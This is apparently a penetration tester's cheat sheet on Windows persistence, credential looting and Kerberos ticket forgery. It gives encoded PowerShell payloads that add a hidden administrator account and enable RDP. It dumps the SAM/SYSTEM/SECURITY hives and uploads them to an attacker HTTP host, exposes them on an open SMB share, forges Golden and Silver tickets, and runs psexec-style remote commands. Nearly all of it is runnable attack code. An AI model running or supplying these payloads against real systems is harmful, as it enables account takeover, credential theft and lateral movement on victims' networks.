########################
Payload/Loot/Persistence
########################

| New admin hackerbeepboop Blabliblou_1

.. code-block:: bash

    cat << 'EOF' | iconv -f UTF8 -t UTF16LE | base64 -w 0 | tee /tmp/payload.ps1
    net user hackerbeepboop Blabliblou_1 /ADD
    net localgroup Administrators hackerbeepboop /ADD
    net localgroup "Remote Desktop Users" hackerbeepboop /ADD
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f 
    netsh firewall add portopening TCP 3389 "Remote Desktop"
    EOF

    # bgBlAHQAIAB1AHMAZQByACAAaABhAGMAawBlAHIAYgBlAGUAcABiAG8AbwBwACAAQgBsAGEAYgBsAGkAYgBsAG8AdQBfADEAIAAvAEEARABEAAoAbgBlAHQAIABsAG8AYwBhAGwAZwByAG8AdQBwACAAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBzACAAaABhAGMAawBlAHIAYgBlAGUAcABiAG8AbwBwACAALwBBAEQARAAKAG4AZQB0ACAAbABvAGMAYQBsAGcAcgBvAHUAcAAgACIAUgBlAG0AbwB0AGUAIABEAGUAcwBrAHQAbwBwACAAVQBzAGUAcgBzACIAIABoAGEAYwBrAGUAcgBiAGUAZQBwAGIAbwBvAHAAIAAvAEEARABEAAoAcgBlAGcAIABhAGQAZAAgACIASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAiACAALwB2ACAAZgBEAGUAbgB5AFQAUwBDAG8AbgBuAGUAYwB0AGkAbwBuAHMAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAKAHIAZQBnACAAYQBkAGQAIAAiAEgASwBFAFkAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIgAgAC8AdgAgAGYAQQBsAGwAbwB3AFQAbwBHAGUAdABIAGUAbABwACAALwB0ACAAUgBFAEcAXwBEAFcATwBSAEQAIAAvAGQAIAAxACAALwBmACAACgBuAGUAdABzAGgAIABmAGkAcgBlAHcAYQBsAGwAIABhAGQAZAAgAHAAbwByAHQAbwBwAGUAbgBpAG4AZwAgAFQAQwBQACAAMwAzADgAOQAgACIAUgBlAG0AbwB0AGUAIABEAGUAcwBrAHQAbwBwACIACgA=
    Start-Process -NoNewWindow -FilePath "powershell.exe" -ArgumentList "-E", "BlAHQAIAB1AHMAZQByACAAaABhAGMAawBlAHIAYgBlAGUAcABiAG8AbwBwACAAQgBsAGEAYgBsAGkAYgBsAG8AdQBfADEAIAAvAEEARABEAAoAbgBlAHQAIABsAG8AYwBhAGwAZwByAG8AdQBwACAAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBzACAAaABhAGMAawBlAHIAYgBlAGUAcABiAG8AbwBwACAALwBBAEQARAAKAG4AZQB0ACAAbABvAGMAYQBsAGcAcgBvAHUAcAAgACIAUgBlAG0AbwB0AGUAIABEAGUAcwBrAHQAbwBwACAAVQBzAGUAcgBzACIAIABoAGEAYwBrAGUAcgBiAGUAZQBwAGIAbwBvAHAAIAAvAEEARABEAAoAcgBlAGcAIABhAGQAZAAgACIASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAiACAALwB2ACAAZgBEAGUAbgB5AFQAUwBDAG8AbgBuAGUAYwB0AGkAbwBuAHMAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAKAHIAZQBnACAAYQBkAGQAIAAiAEgASwBFAFkAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIgAgAC8AdgAgAGYAQQBsAGwAbwB3AFQAbwBHAGUAdABIAGUAbABwACAALwB0ACAAUgBFAEcAXwBEAFcATwBSAEQAIAAvAGQAIAAxACAALwBmACAACgBuAGUAdABzAGgAIABmAGkAcgBlAHcAYQBsAGwAIABhAGQAZAAgAHAAbwByAHQAbwBwAGUAbgBpAG4AZwAgAFQAQwBQACAAMwAzADgAOQAgACIAUgBlAG0AbwB0AGUAIABEAGUAcwBrAHQAbwBwACIACgA="

| 

| dump SAM SYSTEM SECURITY

.. code-block:: powershell

    cat << 'EOF' | iconv -f UTF8 -t UTF16LE | base64 -w 0 | tee /tmp/payload.ps1
    $d="$env:TEMP\";%{"sam";"system";"security"}|%{reg save hklm\$_ $d$_}
    EOF

    # JABkAGkAcgA9ACIAJABlAG4AdgA6AFQARQBNAFAAXAAiADsAJQB7ACIAcwBhAG0AIgA7ACIAcwB5AHMAdABlAG0AIgA7ACIAcwBlAGMAdQByAGkAdAB5ACIAfQB8ACUAewByAGUAZwAgAHMAYQB2AGUAIABoAGsAbABtAFwAJABfACAAJABkAGkAcgAkAF8AfQAKAA==

|

| dump SAM SYSTEM SECURITY, upload, delete

.. code-block:: powershell

    cat << 'EOF' | iconv -f UTF8 -t UTF16LE | base64 -w 0 | tee /tmp/payload.ps1
    $u="http://192.168.1.163:8080";$d="$env:TEMP\";%{"sam";"system";"security"}|%{reg save hklm\$_ $d$_;(New-Object System.Net.WebClient).UploadFile("$u","$d$_");clc "$d$_";rm "$d$_"}
    EOF

    # JAB1AD0AIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQA2ADMAOgA4ADAAOAAwACIAOwAkAGQAPQAiACQAZQBuAHYAOgBUAEUATQBQAFwAIgA7ACUAewAiAHMAYQBtACIAOwAiAHMAeQBzAHQAZQBtACIAOwAiAHMAZQBjAHUAcgBpAHQAeQAiAH0AfAAlAHsAcgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcACQAXwAgACQAZAAkAF8AOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAFUAcABsAG8AYQBkAEYAaQBsAGUAKAAiACQAdQAiACwAIgAkAGQAJABfACIAKQA7AGMAbABjACAAIgAkAGQAJABfACIAOwByAG0AIAAiACQAZAAkAF8AIgB9AAoA

    # cd $(mktemp -d) && git clone https://gitlab.com/charles.gargasson/PostDL . && sudo python3 postdl.py --ip 0.0.0.0 -p 8080 &

    Start-Process -NoNewWindow -FilePath "powershell.exe" -ArgumentList "-E", "JAB1AD0AIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQA2ADMAOgA4ADAAOAAwACIAOwAkAGQAPQAiACQAZQBuAHYAOgBUAEUATQBQAFwAIgA7ACUAewAiAHMAYQBtACIAOwAiAHMAeQBzAHQAZQBtACIAOwAiAHMAZQBjAHUAcgBpAHQAeQAiAH0AfAAlAHsAcgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcACQAXwAgACQAZAAkAF8AOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAFUAcABsAG8AYQBkAEYAaQBsAGUAKAAiACQAdQAiACwAIgAkAGQAJABfACIAKQA7AGMAbABjACAAIgAkAGQAJABfACIAOwByAG0AIAAiACQAZAAkAF8AIgB9AAoA"

|

| dump SAM SYSTEM SECURITY, share them with a temporary SMB share (.. you need an user if passwordless access is disable, but you can change this setting)

.. code-block:: powershell

    mkdir "$env:TEMP\S";New-SmbShare -Name S -Path "$env:TEMP\S" -Temporary -FullAccess ([System.Security.Principal.SecurityIdentifier]::new('S-1-1-0')).Translate([System.Security.Principal.NTAccount]).Value
    $d="$env:TEMP\S\";%{"sam";"system";"security"}|%{reg save hklm\$_ $d$_}

    # Get-SmbShare
    # Remove-SmbShare -Name S -Force
 
|

| Read sam system security

.. code-block:: bash

    secretsdump.py -sam /tmp/share/sam -system /tmp/share/system -security /tmp/share/security local -history

|

********************
Golden/Silver Ticket
********************

| https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/golden
| https://beta.hackndo.com/kerberos-silver-golden-tickets/

| Silver Ticket : Use service account NT hash to generate TGT
| Golden Ticket : Use krbtgt account NT hash to generate TGT


Golden Example
**************

| You have the krbtgt account NT hash '1693c6cefa9afc7af11ef34d1c788f47'

.. code-block:: bash

    # Retrieve Domain SID (on windows just type 'whoami /user' and remove the last part from SID ex:'-1234' )
    lookupsid.py 'domain.com/user:password@192.168.211.72' 0 

    # Creating Golden Ticket (TGT) for domain.com/Administrator user, if not specified the targeted SPN will be "krbtgt/DOMAIN.COM@DOMAIN.COM"
    lookupsid.py 'domain.com/user:password@192.168.211.72' 0 # Get Domain SID
    ticketer.py -nthash 1693c6cefa9afc7af11ef34d1c788f47 -domain-sid S-1-5-21-1987370270-658905305-1781884369 -domain domain.com Administrator # (OFFLINE)

    # Setting ticket location variable
    export KRB5CCNAME="$(pwd)/Administrator.ccache"
    klist # apt-get install krb5-user

    # You need to add domain.com and DC1.domain.com in /etc/hosts (if DNS don't resolve), and you can't use IP
    smbexec.py -k "DC1.domain.com" 
    psexec.py -k "DC1.domain.com"
    wmiexec.py -k "DC1.domain.com"
    cme smb DC1.domain.com --use-kcache -X whoami

|

Silver Example
**************

| You have the web server service account NT hash '4d28cf5251d39971419580a51484ca09'

.. code-block:: bash

    # Retrieve Domain SID (on windows just type 'whoami /user' and remove the last part from SID ex:'-1234' )
    lookupsid.py 'domain.com/user:password@192.168.211.72' 0 

    # Creating Silver Ticket (TGT) for domain.com/Administrator user on web04 HTTP ressource. the SPN will be "HTTP/web04@domain.com" (ensure the 'HTTP' class SPN is uppercase if using ticket with curl)
    ticketer.py -nthash 4d28cf5251d39971419580a51484ca09 -domain-sid S-1-5-21-1987370270-658905905-1781884369 -domain domain.com Administrator -spn HTTP/web04

    # Setting ticket location variable
    export KRB5CCNAME="$(pwd)/Administrator.ccache"
    klist # apt-get install krb5-user

    # Using ticket with cURL, please add corresponding entries in /etc/hosts (if DNS don't resolve)
    export NSPR_LOG_MODULES=negotiateauth:5
    export NSPR_LOG_FILE=/dev/stdout
    export KRB5_TRACE=/dev/stdout
    curl -v "http://web04.domain.com" --negotiate -u ':'